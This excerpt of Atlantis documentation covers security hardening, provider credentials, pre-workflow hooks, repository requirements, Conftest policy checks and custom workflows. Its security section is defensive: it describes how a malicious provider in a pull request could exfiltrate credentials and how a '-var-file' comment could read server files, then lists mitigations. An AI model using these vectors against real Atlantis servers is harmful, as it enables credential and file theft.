the [`external` data source](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source) or by specifying a malicious provider. This code could then exfiltrate your credentials. To prevent this, you could: 1. Bake providers into the Atlantis image or host and deny egress in production. 2. Implement the provider registry protocol internally and deny public egress, that way you control who has write access to the registry. 3. Modify your [server-side repo configuration](https://www.runatlantis.io/docs/server-side-repo-config) 's `plan` step to validate against the use of disallowed providers or data sources or PRs from not allowed users. You could also add in extra validation at this point, e.g. requiring a "thumbs-up" on the PR before allowing the `plan` to continue. Conftest could be of use here. ### `--var-file-allowlist` [​](https://www.runatlantis.io/docs/security.html#var-file-allowlist) The files on your Atlantis install may be accessible as [variable definition files](https://developer.hashicorp.com/terraform/language/values/variables#variable-definitions-tfvars-files) from pull requests by adding `atlantis plan -- -var-file=/path/to/file` comments. To mitigate this security risk, Atlantis has limited such access only to the files allowlisted by the `--var-file-allowlist` flag. If this argument is not provided, it defaults to Atlantis' data directory. ### Webhook Secrets [​](https://www.runatlantis.io/docs/security.html#webhook-secrets) Atlantis should be run with Webhook secrets set via the `$ATLANTIS_GH_WEBHOOK_SECRET`/`$ATLANTIS_GITLAB_WEBHOOK_SECRET` environment variables. Even with the `--repo-allowlist` flag set, without a webhook secret, attackers could make requests to Atlantis posing as a repository that is allowlisted. Webhook secrets ensure that the webhook requests are actually coming from your VCS provider (GitHub or GitLab). Tip If you are using Azure DevOps, instead of webhook secrets add a [basic username and password](https://www.runatlantis.io/docs/security.html#azure-devops-basic-authentication) ### Azure DevOps Basic Authentication [​](https://www.runatlantis.io/docs/security.html#azure-devops-basic-authentication) Azure DevOps supports sending a basic authentication header in all webhook events. This requires using an HTTPS URL for your webhook location. ### SSL/HTTPS [​](https://www.runatlantis.io/docs/security.html#ssl-https) If you're using webhook secrets but your traffic is over HTTP then the webhook secrets could be stolen. Enable SSL/HTTPS using the `--ssl-cert-file` and `--ssl-key-file` flags. ### Enable Authentication on Atlantis Web Server [​](https://www.runatlantis.io/docs/security.html#enable-authentication-on-atlantis-web-server) It is highly recommended to enable authentication in the web service. Enable BasicAuth using the `--web-basic-auth=true` and set up a username and a password using `--web-username=yourUsername` and `--web-password=yourPassword` flags. You can also pass these as environment variables `ATLANTIS_WEB_BASIC_AUTH=true` `ATLANTIS_WEB_USERNAME=yourUsername` and `ATLANTIS_WEB_PASSWORD=yourPassword`. Tip We do encourage the usage of complex passwords in order to prevent basic bruteforcing attacks. --- # Provider Credentials | Atlantis [Skip to content](https://www.runatlantis.io/docs/provider-credentials.html#VPContent) On this page Provider Credentials [​](https://www.runatlantis.io/docs/provider-credentials.html#provider-credentials) ========================================================================================================= Atlantis runs Terraform by simply executing `terraform plan` and `apply` commands on the server Atlantis is hosted on. Just like when you run Terraform locally, Atlantis needs credentials for your specific provider. It's up to you how you provide credentials for your specific provider to Atlantis: * The Atlantis [Helm Chart](https://www.runatlantis.io/docs/deployment#kubernetes-helm-chart) and [AWS Fargate Module](https://www.runatlantis.io/docs/deployment#aws-fargate) have their own mechanisms for provider credentials. Read their docs. * If you're running Atlantis in a cloud then many clouds have ways to give cloud API access to applications running on them, ex: * [AWS EC2 Roles](https://registry.terraform.io/providers/hashicorp/aws/latest/docs) (Search for "EC2 Role") * [GCE Instance Service Accounts](https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference) * Many users set environment variables, ex. `AWS_ACCESS_KEY`, where Atlantis is running. * Others create the necessary config files, ex. `~/.aws/credentials`, where Atlantis is running. * Use the [HashiCorp Vault Provider](https://registry.terraform.io/providers/hashicorp/vault/latest/docs) to obtain provider credentials. TIP As a general rule, if you can `ssh` or `exec` into the server where Atlantis is running and run `terraform` commands like you would locally, then Atlantis will work. AWS Specific Info [​](https://www.runatlantis.io/docs/provider-credentials.html#aws-specific-info) --------------------------------------------------------------------------------------------------- ### Multiple AWS Accounts [​](https://www.runatlantis.io/docs/provider-credentials.html#multiple-aws-accounts) Atlantis supports multiple AWS accounts through the use of Terraform's [AWS Authentication](https://registry.terraform.io/providers/hashicorp/aws/latest/docs) (Search for "Authentication"). If you're using the [Shared Credentials file](https://registry.terraform.io/providers/hashicorp/aws/latest/docs) (Search for "Shared Credentials file") you'll need to ensure the server that Atlantis is executing on has the corresponding credentials file. If you're using [Assume role](https://registry.terraform.io/providers/hashicorp/aws/latest/docs) (Search for "Assume role") you'll need to ensure that the credentials file has a `default` profile that is able to assume all required roles. Using multiple [Environment variables](https://registry.terraform.io/providers/hashicorp/aws/latest/docs) (Search for "Environment variables") won't work for multiple accounts since Atlantis wouldn't know which environment variables to execute Terraform with. ### Assume Role Session Names [​](https://www.runatlantis.io/docs/provider-credentials.html#assume-role-session-names) If you're using Terraform < 0.12, Atlantis injects 5 Terraform variables that can be used to dynamically name the assume role session name. Setting the `session_name` allows you to trace API calls made through Atlantis back to a specific user and repo via CloudWatch: bash provider "aws" { assume_role { role_arn = "arn:aws:iam::ACCOUNT_ID:role/ROLE_NAME" session_name = "${var.atlantis_user}-${var.atlantis_repo_owner}-${var.atlantis_repo_name}-${var.atlantis_pull_num}" } } Atlantis runs `terraform` with the following variables: | `-var` Argument | Description | | --- | --- | | `atlantis_user=lkysow` | The VCS username of who is running the plan command. | | `atlantis_repo=runatlantis/atlantis` | The full name of the repo the pull request is in. NOTE: This variable can't be used in the AWS session name because it contains a `/`. | | `atlantis_repo_owner=runatlantis` | The name of the **owner** of the repo the pull request is in. | | `atlantis_repo_name=atlantis` | The name of the repo the pull request is in. | | `atlantis_pull_num=200` | The pull request number. | If you want to use `assume_role` with Atlantis and you're also using the [S3 Backend](https://developer.hashicorp.com/terraform/language/settings/backends/s3) , make sure to add the `role_arn` option: bash terraform { backend "s3" { bucket = "mybucket" key = "path/to/my/key" region = "us-east-1" role_arn = "arn:aws:iam::ACCOUNT_ID:role/ROLE_NAME" # can't use var.atlantis_user as the session name because # interpolations are not allowed in backend configuration # session_name = "${var.atlantis_user}" WON'T WORK } } Why does this not work in TF >= 0.12? In Terraform >= 0.12, you're not allowed to set any `-var` flags if those variables aren't being used. Since we can't know if you're using these `atlantis_*` variables, we can't set the `-var` flag. You can still set these variables yourself using the `extra_args` configuration. Next Steps [​](https://www.runatlantis.io/docs/provider-credentials.html#next-steps) ------------------------------------------------------------------------------------- * If you want to configure Atlantis further, read [Configuring Atlantis](https://www.runatlantis.io/docs/configuring-atlantis) * If you're ready to use Atlantis, read [Using Atlantis](https://www.runatlantis.io/docs/using-atlantis) --- # Pre Workflow Hooks | Atlantis [Skip to content](https://www.runatlantis.io/docs/pre-workflow-hooks.html#VPContent) On this page Pre Workflow Hooks [​](https://www.runatlantis.io/docs/pre-workflow-hooks.html#pre-workflow-hooks) =================================================================================================== Pre workflow hooks can be defined to run scripts before default or custom workflows are executed. Pre workflow hooks differ from [custom workflows](https://www.runatlantis.io/docs/custom-workflows#custom-run-command) in several ways. 1. Pre workflow hooks do not require the repository configuration to be present. This can be utilized to [dynamically generate repo configs](https://www.runatlantis.io/docs/pre-workflow-hooks#dynamic-repo-config-generation) . 2. Pre workflow hooks are run outside of Atlantis commands. Which means they do not surface their output back to the PR as a comment. Usage [​](https://www.runatlantis.io/docs/pre-workflow-hooks.html#usage) ------------------------------------------------------------------------- Pre workflow hooks can only be specified in the Server-Side Repo Config under the `repos` key. Note By default, `pre-workflow-hooks` do not prevent Atlantis from executing its workflows(`plan`, `apply`) even if a `run` command exits with an error. This behavior can be changed by setting the [fail-on-pre-workflow-hook-error](https://www.runatlantis.io/docs/server-configuration#fail-on-pre-workflow-hook-error) flag in the Atlantis server configuration. Atlantis Command Targeting [​](https://www.runatlantis.io/docs/pre-workflow-hooks.html#atlantis-command-targeting) ------------------------------------------------------------------------------------------------------------------- By default, the workflow hook will run when any command is processed by Atlantis. This can be modified by specifying the `commands` key in the workflow hook containing a comma-delimited list of Atlantis commands that the hook should be run for. Detail of the Atlantis commands can be found in [Using Atlantis](https://www.runatlantis.io/docs/using-atlantis) . ### Example [​](https://www.runatlantis.io/docs/pre-workflow-hooks.html#example) yaml repos: - id: /.*/ pre_workflow_hooks: - run: ./plan-hook.sh description: Plan Hook commands: plan - run: ./plan-apply-hook.sh description: Plan & Apply Hook commands: plan, apply Use Cases [​](https://www.runatlantis.io/docs/pre-workflow-hooks.html#use-cases) --------------------------------------------------------------------------------- ### Dynamic Repo Config Generation [​](https://www.runatlantis.io/docs/pre-workflow-hooks.html#dynamic-repo-config-generation) To generate the repo `atlantis.yaml` before Atlantis can parse it, add a `run` command to `pre_workflow_hooks`. Your Repo config will be generated right before Atlantis parses it. yaml repos: - id: /.*/ pre_workflow_hooks: - run: ./repo-config-generator.sh description: Generating configs Customizing the Shell [​](https://www.runatlantis.io/docs/pre-workflow-hooks.html#customizing-the-shell) --------------------------------------------------------------------------------------------------------- By default, the command will be run using the 'sh' shell with an argument of '-c'. This can be customized using the `shell` and `shellArgs` keys. Example: yaml repos: - id: /.*/ pre_workflow_hooks: - run: | echo "generating atlantis.yaml" terragrunt-atlantis-config generate --output atlantis.yaml --autoplan --parallel description: Generating atlantis.yaml shell: bash shellArgs: -cv Reference [​](https://www.runatlantis.io/docs/pre-workflow-hooks.html#reference) --------------------------------------------------------------------------------- ### Custom `run` Command [​](https://www.runatlantis.io/docs/pre-workflow-hooks.html#custom-run-command) This is very similar to the [custom workflow run command](https://www.runatlantis.io/docs/custom-workflows#custom-run-command) . yaml - run: custom-command | Key | Type | Default | Required | Description | | --- | --- | --- | --- | --- | | run | string | none | no | Run a custom command | | description | string | none | no | Pre hook description | | shell | string | 'sh' | no | The shell to use for running the command | | shellArgs | string | '-c' | no | The shell arguments to use for running the command | Notes * `run` commands are executed with the following environment variables: * `BASE_REPO_NAME` - Name of the repository that the pull request will be merged into, ex. `atlantis`. * `BASE_REPO_OWNER` - Owner of the repository that the pull request will be merged into, ex. `runatlantis`. * `HEAD_REPO_NAME` - Name of the repository that is getting merged into the base repository, ex. `atlantis`. * `HEAD_REPO_OWNER` - Owner of the repository that is getting merged into the base repository, ex. `acme-corp`. * `HEAD_BRANCH_NAME` - Name of the head branch of the pull request (the branch that is getting merged into the base) * `HEAD_COMMIT` - The sha256 that points to the head of the branch that is being pull requested into the base. If the pull request is from Bitbucket Cloud the string will only be 12 characters long because Bitbucket Cloud truncates its commit IDs. * `BASE_BRANCH_NAME` - Name of the base branch of the pull request (the branch that the pull request is getting merged into) * `PULL_NUM` - Pull request number or ID, ex. `2`. * `PULL_URL` - Pull request URL, ex. `https://github.com/runatlantis/atlantis/pull/2`. * `PULL_AUTHOR` - Username of the pull request author, ex. `acme-user`. * `DIR` - The absolute path to the root of the cloned repository. * `USER_NAME` - Username of the VCS user running command, ex. `acme-user`. During an autoplan, the user will be the Atlantis API user, ex. `atlantis`. * `COMMENT_ARGS` - Any additional flags passed in the comment on the pull request. Flags are separated by commas and every character is escaped, ex. `atlantis plan -- arg1 arg2` will result in `COMMENT_ARGS=\a\r\g\1,\a\r\g\2`. * `COMMAND_NAME` - The name of the command that is being executed, i.e. `plan`, `apply` etc. * `OUTPUT_STATUS_FILE` - An output file to customize the success or failure status. ex. `echo 'failure' > $OUTPUT_STATUS_FILE`. * `PROJECT_NAME` - Project name passed by the `-p` option. If `-p` is not provided, this value is empty. --- # Requirements | Atlantis [Skip to content](https://www.runatlantis.io/docs/requirements.html#VPContent) On this page Requirements [​](https://www.runatlantis.io/docs/requirements.html#requirements) ================================================================================= Atlantis works with most Git hosts and Terraform setups. Read on to confirm it works with yours. Git Host [​](https://www.runatlantis.io/docs/requirements.html#git-host) ------------------------------------------------------------------------- Atlantis integrates with the following Git hosts: * GitHub (public, private or enterprise) * GitLab (public, private or enterprise) * Gitea (public, private and compatible forks like Forgejo) * Bitbucket Cloud aka bitbucket.org (public or private) * Bitbucket Server aka Stash * Azure DevOps ### GitLab Version [​](https://www.runatlantis.io/docs/requirements.html#gitlab-version) Atlantis supports actively maintained GitLab versions. GitLab 15.6 introduced `detailed_merge_status`, which Atlantis uses for more accurate [mergeable apply requirement](https://www.runatlantis.io/docs/apply-requirements) checks. On older GitLab versions, Atlantis falls back to the legacy `merge_status` field, which can report a merge request as mergeable even when the branch needs a rebase. Terraform State [​](https://www.runatlantis.io/docs/requirements.html#terraform-state) --------------------------------------------------------------------------------------- Atlantis supports all backend types **except for local state**. We don't support local state because Atlantis does not have permanent storage and it doesn't commit the new statefile back to version control. TIP If you're looking for an easy remote state solution, check out [free remote state](https://app.terraform.io/) storage from Terraform Cloud. This is fully supported by Atlantis. Repository Structure [​](https://www.runatlantis.io/docs/requirements.html#repository-structure) ------------------------------------------------------------------------------------------------- Atlantis supports any Terraform repository structure, for example: ### Single Terraform Project At Repo Root [​](https://www.runatlantis.io/docs/requirements.html#single-terraform-project-at-repo-root) plain . ├── main.tf └── ... ### Multiple Project Folders [​](https://www.runatlantis.io/docs/requirements.html#multiple-project-folders) plain . ├── project1 │   ├── main.tf | └── ... └── project2    ├── main.tf └── ... ### Modules [​](https://www.runatlantis.io/docs/requirements.html#modules) plain . ├── project1 │   ├── main.tf | └── ... └── modules    └── module1    ├── main.tf └── ... With modules, if you want `project1` automatically planned when `module1` is modified you need to create an `atlantis.yaml` file. See [atlantis.yaml Use Cases](https://www.runatlantis.io/docs/repo-level-atlantis-yaml#configuring-planning) for more details. ### Terraform Workspaces [​](https://www.runatlantis.io/docs/requirements.html#terraform-workspaces) _See [Terraform's docs](https://developer.hashicorp.com/terraform/language/state/workspaces) if you are unfamiliar with workspaces._ If you're using Terraform `>= 0.9.0`, Atlantis supports workspaces through an `atlantis.yaml` file that tells Atlantis the names of your workspaces (see [atlantis.yaml Use Cases](https://www.runatlantis.io/docs/repo-level-atlantis-yaml#supporting-terraform-workspaces) for more details) ### .tfvars Files [​](https://www.runatlantis.io/docs/requirements.html#tfvars-files) plain . ├── production.tfvars │── staging.tfvars └── main.tf Atlantis supports `.tfvars` files in two ways: #### Automatic env/{workspace}.tfvars files [​](https://www.runatlantis.io/docs/requirements.html#automatic-env-workspace-tfvars-files) Atlantis automatically includes workspace-specific variable files if they exist in an `env/` directory: plain . ├── main.tf ├── variables.tf └── env/ ├── default.tfvars ├── staging.tfvars └── production.tfvars When using this structure, Atlantis will automatically include the appropriate file based on the workspace: * `atlantis plan` includes `env/default.tfvars` * `atlantis plan -w staging` includes `env/staging.tfvars` * `atlantis plan -w production` includes `env/production.tfvars` This requires no additional configuration and works automatically. #### Custom .tfvars files with atlantis.yaml [​](https://www.runatlantis.io/docs/requirements.html#custom-tfvars-files-with-atlantis-yaml) For other `.tfvars` file locations or structures, you need to create an `atlantis.yaml` file to tell Atlantis to use `-var-file={YOUR_FILE}`. See [atlantis.yaml Use Cases](https://www.runatlantis.io/docs/custom-workflows#tfvars-files) for more details. ### Multiple Repos [​](https://www.runatlantis.io/docs/requirements.html#multiple-repos) Atlantis supports multiple repos as well–as long as there is a webhook configured for each repo. Terraform Versions [​](https://www.runatlantis.io/docs/requirements.html#terraform-versions) --------------------------------------------------------------------------------------------- Atlantis supports all Terraform versions (including 0.12) and can be configured to use different versions for different repositories/projects. See [Terraform Versions](https://www.runatlantis.io/docs/terraform-versions) . Next Steps [​](https://www.runatlantis.io/docs/requirements.html#next-steps) ----------------------------------------------------------------------------- * If your Terraform setup meets the Atlantis requirements, continue the installation guide and set up your [Git Host Access Credentials](https://www.runatlantis.io/docs/access-credentials) --- # Conftest Policy Checking | Atlantis [Skip to content](https://www.runatlantis.io/docs/policy-checking.html#VPContent) On this page Conftest Policy Checking [​](https://www.runatlantis.io/docs/policy-checking.html#conftest-policy-checking) ============================================================================================================ Atlantis supports running server-side [conftest](https://www.conftest.dev/) policies against the plan output. Common usecases for using this step include: * Denying usage of a list of modules * Asserting attributes of a resource at creation time * Catching unintentional resource deletions * Preventing security risks (i.e. exposing secure ports to the public) How it works? [​](https://www.runatlantis.io/docs/policy-checking.html#how-it-works) ------------------------------------------------------------------------------------- Enabling "policy checking" in addition to the [mergeable apply requirement](https://www.runatlantis.io/docs/command-requirements#supported-requirements) blocks applies on plans that fail any of the defined conftest policies. ![Policy Check Apply Failure](https://www.runatlantis.io/assets/policy-check-apply-failure.BL3EsCGg.png) ![Policy Check Apply Status Failure](https://www.runatlantis.io/assets/policy-check-apply-status-failure.CTATr4gL.png) Any failures need to either be addressed in a successive commit, or approved by top-level owner(s) of policies or the owner(s) of the policy set in question. Policy approvals are independent of the approval apply requirement which can coexist in the policy checking workflow. After policies are approved, the apply can proceed. ![Policy Check Approval](https://www.runatlantis.io/assets/policy-check-approval.-4QGKl6F.png) Policy approvals may be cleared either by re-planning, or by issuing the following command: shell atlantis approve_policies --clear-policy-approval WARNING By default, any plans following the approval will discard all policy approvals and prompt again for them. To change this behavior, see [Sticky Policy Approvals](https://www.runatlantis.io/docs/policy-checking.html#sticky-policy-approvals) . Getting Started [​](https://www.runatlantis.io/docs/policy-checking.html#getting-started) ------------------------------------------------------------------------------------------ This section will provide a guide on how to get set up with a simple policy that fails creation of `null_resource`'s and requires approval from a blessed user. ### Step 1: Enable the workflow [​](https://www.runatlantis.io/docs/policy-checking.html#step-1-enable-the-workflow) Enable the workflow using the following server configuration flag `--enable-policy-checks` WARNING All repositories will have policy checking enabled. NOTE If you are using the [`--gh-team-allowlist`](https://www.runatlantis.io/docs/server-configuration#gh-team-allowlist) flag to restrict which teams can run commands, you **must** also allowlist the `policy_check` command for policy checks to work on manual `atlantis plan` commands. For example: bash atlantis server --gh-team-allowlist="*:plan,*:policy_check,*:unlock,myteam:apply" Alternatively, you can use `allowed_overrides: [policy_check]` in your [server-side repo config](https://www.runatlantis.io/docs/server-side-repo-config) . **Why is this needed?** * `policy_check` is an internal command that runs automatically after `plan` * When using team allowlists, Atlantis checks if the user is authorized to run `policy_check` * Autoplans bypass this check (they don't have a user), which is why they work without this configuration * Without allowlisting `policy_check`, manual `atlantis plan` commands will plan successfully but skip policy checks See [Repo and Project Permissions](https://www.runatlantis.io/docs/repo-and-project-permissions#server-option-gh-team-allowlist) for more information about team allowlists. ### Step 2: Define the policy configuration [​](https://www.runatlantis.io/docs/policy-checking.html#step-2-define-the-policy-configuration) Policy Configuration is defined in the [server-side repo configuration](https://www.runatlantis.io/docs/server-side-repo-config#reference) . In this example we will define one policy set with one owner: yaml policies: owners: users: - nishkrishnan policy_sets: - name: deny_null_resource path: /policies/deny_null_resource/ source: local - name: deny_local_exec path: /policies/deny_local_exec/ source: local approve_count: 2 owners: users: - pseudomorph * `name` - A name of your policy set. * `path` - Path to a policies directory. _Note: replace `` with absolute dir path to conftest policy/policies._ * `source` - Tells atlantis where to fetch the policies from. Currently you can only host policies locally by using `local`. * `owners` - Defines the users/teams which are able to approve a specific policy set. * `approve_count` - Defines the number of approvals needed to bypass policy checks. Defaults to the top-level policies configuration, if not specified. * `prevent_self_approve` - Defines whether the PR author can approve policies. * `sticky_policy_approvals` - When `true`, approvals survive re-plans as long as no new policy output items (as matched by `policy_item_regex`) are introduced. See [Sticky Policy Approvals](https://www.runatlantis.io/docs/policy-checking.html#sticky-policy-approvals) . * `policy_item_regex` - Regex used to extract comparable items from policy output for sticky approval tracking. See [Sticky Policy Approvals](https://www.runatlantis.io/docs/policy-checking.html#sticky-policy-approvals) . By default conftest is configured to only run the `main` package. If you wish to run specific/multiple policies consider passing `--namespace` or `--all-namespaces` to conftest with [`extra_args`](https://www.runatlantis.io/docs/custom-workflows#adding-extra-arguments-to-terraform-commands) via a custom workflow as shown in the below example. Example Server Side Repo configuration using `--all-namespaces` and a local src dir. yaml repos: - id: github.com/myorg/example-repo workflow: custom policies: owners: users: - example-dev policy_sets: - name: example-conf-tests path: /home/atlantis/conftest_policies # Consider separate vcs & mount into container source: local workflows: custom: plan: steps: - init - plan policy_check: steps: - policy_check: extra_args: ["-p /home/atlantis/conftest_policies/", "--all-namespaces"] Note Conftest is run with an argument vector rather than through a shell. A policy set `path` and each `extra_args` entry are still split on whitespace, so a value carrying more than one argument, like `"-p /home/atlantis/conftest_policies/"` above, keeps working. Shell operators and command substitution are passed through as ordinary text. To use a path that genuinely contains a space, quote it, e.g. `"'/home/atlantis/my policies'"`. Environment references in unquoted or double-quoted text are expanded from the policy-check environment without splitting the expanded value. Use single quotes or a backslash before `$` when the reference should remain literal. ### Step 3: Write the policy [​](https://www.runatlantis.io/docs/policy-checking.html#step-3-write-the-policy) Conftest policies are based on [Open Policy Agent (OPA)](https://www.openpolicyagent.org/) and written in [rego](https://www.openpolicyagent.org/docs/latest/policy-language/#what-is-rego) . Following our example, simply create a `rego` file in `null_resource_warning` folder with following code, the code below a simple policy that will fail for plans containing newly created `null_resource`s. rego package main resource_types = {"null_resource"} # all resources resources[resource_type] = all { some resource_type resource_types[resource_type] all := [name |\ name:= input.resource_changes[_]\ name.type == resource_type\ ] } # number of creations of resources of a given type num_creates[resource_type] = num { some resource_type resource_types[resource_type] all := resources[resource_type] creates := [res | res:= all[_]; res.change.actions[_] == "create"] num := count(creates) } deny[msg] { num_resources := num_creates["null_resource"] num_resources > 0 msg := "null resources cannot be created" } That's it! Now your Atlantis instance is configured to run policies on your Terraform plans 🎉 Customizing the conftest command [​](https://www.runatlantis.io/docs/policy-checking.html#customizing-the-conftest-command) ---------------------------------------------------------------------------------------------------------------------------- ### Pulling policies from a remote location [​](https://www.runatlantis.io/docs/policy-checking.html#pulling-policies-from-a-remote-location) Conftest supports [pulling policies](https://www.conftest.dev/sharing/#pulling) from remote locations such as S3, git, OCI, and other protocols supported by the [go-getter](https://github.com/hashicorp/go-getter) library. The key [`extra_args`](https://www.runatlantis.io/docs/custom-workflows#adding-extra-arguments-to-terraform-commands) can be used to pass in the [`--update`](https://www.conftest.dev/sharing/#-update-flag) flag to tell `conftest` to pull the policies into the project folder before running the policy check. yaml workflows: custom: plan: steps: - init - plan policy_check: steps: - policy_check: extra_args: ["--update", "s3::https://s3.amazonaws.com/bucket/foo"] Note that authentication may need to be configured separately if pulling policies from sources that require it. For example, to pull policies from an S3 bucket, Atlantis host can be configured with a default AWS profile that has permission to `s3:GetObject` and `s3:ListBucket` from the S3 bucket. ### Running policy check against Terraform source code [​](https://www.runatlantis.io/docs/policy-checking.html#running-policy-check-against-terraform-source-code) By default, Atlantis runs the policy check against the [`SHOWFILE`](https://www.runatlantis.io/docs/custom-workflows#custom-run-command) . In order to run the policy test against Terraform files directly, override the default `conftest` command used and pass in `*.tf` as one of the inputs to `conftest`. The `show` step is required so that Atlantis will generate the `SHOWFILE`. yaml workflows: custom: policy_check: steps: - show - run: conftest test $SHOWFILE *.tf --no-fail ### Quiet policy checks [​](https://www.runatlantis.io/docs/policy-checking.html#quiet-policy-checks) By default, Atlantis will add a comment to all pull requests with the policy check result - both successes and failures. Version 0.21.0 added the [`--quiet-policy-checks`](https://www.runatlantis.io/docs/server-configuration#quiet-policy-checks) option, which will instead only add comments when policy checks fail, significantly reducing the number of comments when most policy check results succeed. ### Data for custom run steps [​](https://www.runatlantis.io/docs/policy-checking.html#data-for-custom-run-steps) When the policy check workflow runs, a file is created in the working directory which contains information about the status of each policy set tested. This data may be useful in custom run steps to generate metrics or notifications. The file contains JSON data in the following format: json [\ {\ "PolicySetName": "policy1",\ "PolicyOutput": "FAIL - plan.json - main - WARNING: resource creation is prohibited.\n\n1 test, 0 passed, 0 warnings, 1 failure, 0 exceptions\n",\ "Passed": false,\ "ReqApprovalCount": 1,\ "Approvals": null,\ "Hashes": ["ae6b7acaaedaf6fcd3d1823643dbf2ef1aa25374a99b44b1923d8227cc9707e3"],\ "PolicyItemRegex": "(?s).+"\ }\ ] | Field | Type | Description | | --- | --- | --- | | `PolicySetName` | string | Name of the policy set. | | `PolicyOutput` | string | Raw output from the policy check. | | `Passed` | bool | Whether the policy check passed. | | `ReqApprovalCount` | int | Number of approvals required to bypass the failing policy. | | `Approvals` | \[\]PolicySetApproval | List of approvals, each with an `Approver` username and `Hashes` snapshot. | | `Hashes` | \[\]string | SHA-256 hex digests of items extracted from the policy output using `policy_item_regex`. | | `PolicyItemRegex` | string | The regex used to extract items from the policy output for hashing. | Sticky Policy Approvals [​](https://www.runatlantis.io/docs/policy-checking.html#sticky-policy-approvals) ---------------------------------------------------------------------------------------------------------- By default, when a plan is re-run, all prior policy approvals are discarded. This means that after every `atlantis plan`, policy owners must re-approve even if nothing about the policy failures changed. **Sticky policy approvals** allow approvals to survive re-plans, as long as no new items appear in the policy output (matched via `policy_item_regex`). This is useful in workflows where plans are frequently re-run (e.g., due to base branch updates) but the policy violations remain the same or are being resolved. ### How it works [​](https://www.runatlantis.io/docs/policy-checking.html#how-it-works-1) When sticky approvals are enabled, Atlantis extracts items from policy output using `policy_item_regex` and hashes them. Each approval records a snapshot of these hashes. On re-plan, approvals are carried forward only if their recorded hashes still cover the current output. Adding or changing items invalidates approvals; removing items (e.g., fixing a violation) preserves them. ### Enabling sticky approvals [​](https://www.runatlantis.io/docs/policy-checking.html#enabling-sticky-approvals) Enable at the top level to apply to all policy sets: yaml policies: owners: users: - policyowner sticky_policy_approvals: true policy_sets: - name: security-policy path: /policies/security source: local Or enable per policy set: yaml policies: owners: users: - policyowner policy_sets: - name: security-policy path: /policies/security source: local sticky_policy_approvals: true - name: cost-policy path: /policies/cost source: local # This policy set uses default (non-sticky) behavior A per-policy-set `sticky_policy_approvals` value overrides the top-level setting. This lets you enable sticky approvals globally but opt specific policy sets out (or vice versa). ### Customizing the policy item regex [​](https://www.runatlantis.io/docs/policy-checking.html#customizing-the-policy-item-regex) The `policy_item_regex` controls which parts of the policy output are used as the "identity" for sticky approval tracking. The default is `(?s).+`, which matches the entire output as a single item. This means any change to the output invalidates the approval — an all-or-nothing approach. For granular per-item tracking, override the regex to match individual items. For example, `.+` (without `(?s)`) matches each non-empty line as a separate item: yaml policies: owners: users: - policyowner sticky_policy_approvals: true policy_item_regex: ".+" policy_sets: - name: security-policy path: /policies/security source: local With `.+`, each line is tracked independently. Approvals remain valid as long as every current line was present at approval time. Fixing a violation (removing a line) preserves existing approvals; adding or changing one invalidates them. TIP The subset semantics above are intentional: an approval covers a specific set of items, and any current item must have been part of that set. Removing items (e.g., a policy author fixes a previously-flagged violation) is treated as progress and does **not** invalidate prior approvals. Only the appearance of new or changed items triggers re-approval. For text output, use `(?m)^FAIL.*` to track only lines starting with `FAIL`: yaml policy_item_regex: "(?m)^FAIL.*" TIP Use the `(?m)` flag prefix to enable multiline matching, so `^` and `$` match the start and end of each line rather than just the start and end of the entire string. A per-policy-set `policy_item_regex` can override the top-level default: yaml policies: owners: users: - policyowner sticky_policy_approvals: true policy_item_regex: "(?m)^FAIL.*" policy_sets: - name: security-policy path: /policies/security source: local policy_item_regex: ".+" ### Duplicate approval prevention [​](https://www.runatlantis.io/docs/policy-checking.html#duplicate-approval-prevention) When sticky approvals are used with `approve_count > 1`, the same user cannot provide multiple approvals for the same policy set with the same hashes. If a user has already fully approved a policy set and the extracted items haven't changed, subsequent approval attempts by the same user will produce an error asking for a different policy owner to approve. Running policy check only on some repositories [​](https://www.runatlantis.io/docs/policy-checking.html#running-policy-check-only-on-some-repositories) -------------------------------------------------------------------------------------------------------------------------------------------------------- When policy checking is enabled it will be enforced on all repositories, in order to disable policy checking on some repositories first [enable policy checks](https://www.runatlantis.io/docs/policy-checking#getting-started) and then disable it explicitly on each repository with the `policy_check` flag. For server side config: yml # repos.yaml repos: - id: /.*/ plan_requirements: [approved] apply_requirements: [approved] import_requirements: [approved] - id: /special-repo/ plan_requirements: [approved] apply_requirements: [approved] import_requirements: [approved] policy_check: false For repo level `atlantis.yaml` config: yml version: 3 projects: - dir: project1 workspace: staging - dir: project1 workspace: production policy_check: false --- # Custom Workflows | Atlantis [Skip to content](https://www.runatlantis.io/docs/custom-workflows.html#VPContent) On this page Custom Workflows [​](https://www.runatlantis.io/docs/custom-workflows.html#custom-workflows) ============================================================================================= Custom workflows can be defined to override the default commands that Atlantis runs. Usage [​](https://www.runatlantis.io/docs/custom-workflows.html#usage) ----------------------------------------------------------------------- Custom workflows can be specified in the Server-Side Repo Config or in the Repo-Level `atlantis.yaml` files. **Notes:** * If you want to allow repos to select their own workflows, they must have the `allowed_overrides: [workflow]` setting. See [server-side repo config use cases](https://www.runatlantis.io/docs/server-side-repo-config#allow-repos-to-choose-a-server-side-workflow) for more details. * If in addition you also want to allow repos to define their own workflows, they must have the `allow_custom_workflows: true` setting. See [server-side repo config use cases](https://www.runatlantis.io/docs/server-side-repo-config#allow-repos-to-define-their-own-workflows) for more details. Use Cases [​](https://www.runatlantis.io/docs/custom-workflows.html#use-cases) ------------------------------------------------------------------------------- ### .tfvars files [​](https://www.runatlantis.io/docs/custom-workflows.html#tfvars-files) TIP Before creating custom workflows for `.tfvars` files, consider using Atlantis's automatic `env/{workspace}.tfvars` feature. If you structure your files as `env/staging.tfvars`, `env/production.tfvars`, etc., Atlantis will automatically include them based on the workspace without any configuration. See [Using Atlantis - Automatic Environment Variable Files](https://www.runatlantis.io/docs/using-atlantis#automatic-environment-variable-files) for details. Given the structure: plain . └── project1 ├── main.tf ├── production.tfvars └── staging.tfvars If you wanted Atlantis to automatically run plan with `-var-file staging.tfvars` and `-var-file production.tfvars` you could define two workflows: yaml # repos.yaml or atlantis.yaml workflows: staging: plan: steps: - init - plan: extra_args: ["-var-file", "staging.tfvars"] # NOTE: no need to define the apply stage because it will default # to the normal apply stage. production: plan: steps: - init - plan: extra_args: ["-var-file", "production.tfvars"] apply: steps: - apply: extra_args: ["-var-file", "production.tfvars"] import: steps: - init - import: extra_args: ["-var-file", "production.tfvars"] state_rm: steps: - init - state_rm: extra_args: ["-lock=false"] Then in your repo-level `atlantis.yaml` file, you would reference the workflows: yaml # atlantis.yaml version: 3 projects: # If two or more projects have the same dir and 